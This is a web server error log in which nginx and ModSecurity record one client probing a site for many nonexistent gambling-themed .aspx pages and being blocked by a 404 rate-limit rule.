2026/03/11 19:35:05 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot168.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:35:05.342451 2026] [:error] [pid 54045:tid 54066] [client 62.113.117.240:36212] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot168.aspx"] [unique_id "abFTaSRcKzQ1f-N8TgS4YgAAANM"]
[Wed Mar 11 19:35:07.349587 2026] [:error] [pid 45143:tid 45159] [client 62.113.117.240:36240] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20slot99.aspx"] [unique_id "abFTayEXSpYdWImkpzbkuAAAAY4"]
2026/03/11 19:35:07 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20slot99.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot99.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:35:09.585820 2026] [:error] [pid 45143:tid 45155] [client 62.113.117.240:36274] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20soft.aspx"] [unique_id "abFTbSEXSpYdWImkpzbkvgAAAYo"]
2026/03/11 19:35:09 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20soft.aspx", host: "rcacivilgroup.com"
2026/03/11 19:35:11 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20th.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20th.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:35:11.585006 2026] [:error] [pid 44995:tid 45019] [client 62.113.117.240:36312] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20th.aspx"] [unique_id "abFTbzoOSr9ks_axo6O2CQAAAlY"]
[Wed Mar 11 19:35:13.606151 2026] [:error] [pid 44882:tid 44884] [client 62.113.117.240:36334] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20thailand.aspx"] [unique_id "abFTcVC06UlbDFYZNg0DHgAAAgA"]
2026/03/11 19:35:13 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20thailand.aspx", host: "rcacivilgroup.com"
2026/03/11 19:35:15 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:35:15.616350 2026] [:error] [pid 23482:tid 23491] [client 62.113.117.240:36368] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20wallet.aspx"] [unique_id "abFTc8rYaTAnN_mLXyndVAAAAQY"]
2026/03/11 19:35:17 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pg%20world.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20world.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:35:17.613857 2026] [:error] [pid 44800:tid 44809] [client 62.113.117.240:36410] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pg%20world.aspx"] [unique_id "abFTdTN8ZerbIEHTO2qb8gAAAcc"]
[Wed Mar 11 19:35:19.460639 2026] [:error] [pid 45143:tid 45147] [client 62.113.117.240:36442] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pgslot%20login.aspx"] [unique_id "abFTdyEXSpYdWImkpzbkwwAAAYI"]
2026/03/11 19:35:19 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pgslot%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgslot%20login.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:35:21.487227 2026] [:error] [pid 44995:tid 45016] [client 62.113.117.240:36472] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pgzeed%20gold.aspx"] [unique_id "abFTeToOSr9ks_axo6O2EAAAAlM"]
2026/03/11 19:35:21 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pgzeed%20gold.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pgzeed%20gold.aspx", host: "rcacivilgroup.com"
2026/03/11 19:35:23 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /pp%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pp%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:35:23.474341 2026] [:error] [pid 53955:tid 54025] [client 62.113.117.240:36502] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp%20slot.aspx"] [unique_id "abFTe9P1Uf6qBkbxZg_yqQAAAIY"]
[Wed Mar 11 19:35:25.469727 2026] [:error] [pid 44800:tid 44802] [client 62.113.117.240:36532] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/riches666%20pg.aspx"] [unique_id "abFTfTN8ZerbIEHTO2qb9gAAAcA"]
2026/03/11 19:35:25 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /riches666%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/riches666%20pg.aspx", host: "rcacivilgroup.com"
2026/03/11 19:36:02 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20free.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20free.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:02.237910 2026] [:error] [pid 45143:tid 45147] [client 62.113.117.240:37096] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20free.aspx"] [unique_id "abFToiEXSpYdWImkpzbk-AAAAYI"]
[Wed Mar 11 19:36:05.045106 2026] [:error] [pid 45143:tid 45148] [client 62.113.117.240:37136] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20game%20666.aspx"] [unique_id "abFTpSEXSpYdWImkpzblAgAAAYM"]
2026/03/11 19:36:05 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20game%20666.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20game%20666.aspx", host: "rcacivilgroup.com"
2026/03/11 19:36:07 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20joker.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:07.046652 2026] [:error] [pid 54045:tid 54060] [client 62.113.117.240:37168] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20joker.aspx"] [unique_id "abFTpyRcKzQ1f-N8TgS46QAAAM0"]
2026/03/11 19:36:09 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20online.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20online.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:09.080943 2026] [:error] [pid 45143:tid 45147] [client 62.113.117.240:37200] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20online.aspx"] [unique_id "abFTqSEXSpYdWImkpzblBgAAAYI"]
2026/03/11 19:36:11 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20soft.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:11.114416 2026] [:error] [pid 23482:tid 23494] [client 62.113.117.240:37230] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abFTq8rYaTAnN_mLXyndcgAAAQk"]
2026/03/11 19:36:13 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20pg%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20vip.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:13.153449 2026] [:error] [pid 54045:tid 54047] [client 62.113.117.240:37264] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abFTrSRcKzQ1f-N8TgS4-wAAAMA"]
2026/03/11 19:36:15 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:15.050719 2026] [:error] [pid 44995:tid 44997] [client 62.113.117.240:37300] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abFTrzoOSr9ks_axo6O2TQAAAkA"]
[Wed Mar 11 19:36:17.056957 2026] [:error] [pid 54045:tid 54065] [client 62.113.117.240:37326] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abFTsSRcKzQ1f-N8TgS5AgAAANI"]
2026/03/11 19:36:17 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20super%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20super%20wallet.aspx", host: "rcacivilgroup.com"
2026/03/11 19:36:19 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20true%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20true%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:19.093526 2026] [:error] [pid 54045:tid 54054] [client 62.113.117.240:37356] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abFTsyRcKzQ1f-N8TgS5DAAAAMc"]
2026/03/11 19:36:21 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20wallet%20777%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20777%20auto.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:21.517995 2026] [:error] [pid 54045:tid 54052] [client 62.113.117.240:37380] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abFTtSRcKzQ1f-N8TgS5EQAAAMU"]
2026/03/11 19:36:23 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20wallet%20iwallet%20link%20login.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet%20iwallet%20link%20login.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:23.545848 2026] [:error] [pid 54045:tid 54070] [client 62.113.117.240:37404] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abFTtyRcKzQ1f-N8TgS5FwAAANc"]
2026/03/11 19:36:25 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:25.566420 2026] [:error] [pid 44995:tid 45004] [client 62.113.117.240:37434] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot%20wallet.aspx"] [unique_id "abFTuToOSr9ks_axo6O2VwAAAkc"]
2026/03/11 19:36:27 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slot1234%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot1234%20pg.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:27.569748 2026] [:error] [pid 54045:tid 54070] [client 62.113.117.240:37468] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slot1234%20pg.aspx"] [unique_id "abFTuyRcKzQ1f-N8TgS5JQAAANc"]
2026/03/11 19:36:29 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /slotxo%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slotxo%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:29.578260 2026] [:error] [pid 54045:tid 54071] [client 62.113.117.240:37496] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/slotxo%20wallet.aspx"] [unique_id "abFTvSRcKzQ1f-N8TgS5LgAAANg"]
2026/03/11 19:36:31 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /spg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spg%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:31.634901 2026] [:error] [pid 44995:tid 44998] [client 62.113.117.240:37540] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spg%20slot.aspx"] [unique_id "abFTvzoOSr9ks_axo6O2YwAAAkE"]
2026/03/11 19:36:33 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /spx%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spx%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:33.504357 2026] [:error] [pid 54045:tid 54047] [client 62.113.117.240:37570] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spx%20slot.aspx"] [unique_id "abFTwSRcKzQ1f-N8TgS5QQAAAMA"]
2026/03/11 19:36:35 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /super%20pg%201688.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20pg%201688.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:35.492454 2026] [:error] [pid 54045:tid 54049] [client 62.113.117.240:37608] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/super%20pg%201688.aspx"] [unique_id "abFTwyRcKzQ1f-N8TgS5TgAAAMI"]
2026/03/11 19:36:37 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /super%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20slot.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:37.480824 2026] [:error] [pid 54045:tid 54052] [client 62.113.117.240:37634] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/super%20slot.aspx"] [unique_id "abFTxSRcKzQ1f-N8TgS5VwAAAMU"]
2026/03/11 19:36:39 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /superslot%20max%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20max%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:39.506452 2026] [:error] [pid 44995:tid 45006] [client 62.113.117.240:37664] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abFTxzoOSr9ks_axo6O2bgAAAkk"]
2026/03/11 19:36:41 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /superslot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20vip.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:41.516149 2026] [:error] [pid 54045:tid 54058] [client 62.113.117.240:37692] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot%20vip.aspx"] [unique_id "abFTySRcKzQ1f-N8TgS5XgAAAMs"]
2026/03/11 19:36:43 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /superslot%20wallet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet%20net.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:43.524472 2026] [:error] [pid 44995:tid 45000] [client 62.113.117.240:37724] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abFTyzoOSr9ks_axo6O2dgAAAkM"]
[Wed Mar 11 19:36:45.519906 2026] [:error] [pid 54045:tid 54049] [client 62.113.117.240:37762] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot%20wallet.aspx"] [unique_id "abFTzSRcKzQ1f-N8TgS5ZwAAAMI"]
2026/03/11 19:36:45 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /superslot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet.aspx", host: "rcacivilgroup.com"
2026/03/11 19:36:47 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /superslot168%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot168%20wallet.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:47.574391 2026] [:error] [pid 54045:tid 54051] [client 62.113.117.240:37786] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/superslot168%20wallet.aspx"] [unique_id "abFTzyRcKzQ1f-N8TgS5bAAAAMQ"]
2026/03/11 19:36:49 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /ufa%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20168.aspx", host: "rcacivilgroup.com"
[Wed Mar 11 19:36:49.578802 2026] [:error] [pid 54045:tid 54055] [client 62.113.117.240:37822] [client 62.113.117.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ufa%20168.aspx"] [unique_id "abFT0SRcKzQ1f-N8TgS5cwAAAMg"]
2026/03/11 19:36:51 [error] 53942#53942: *1033245 upstream prematurely closed connection while reading response header from upstream, client: 62.113.117.240, server: rcacivilgroup.com, request: "GET /ufa%20c4.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20c4.aspx", host: "rcacivilgroup.com"
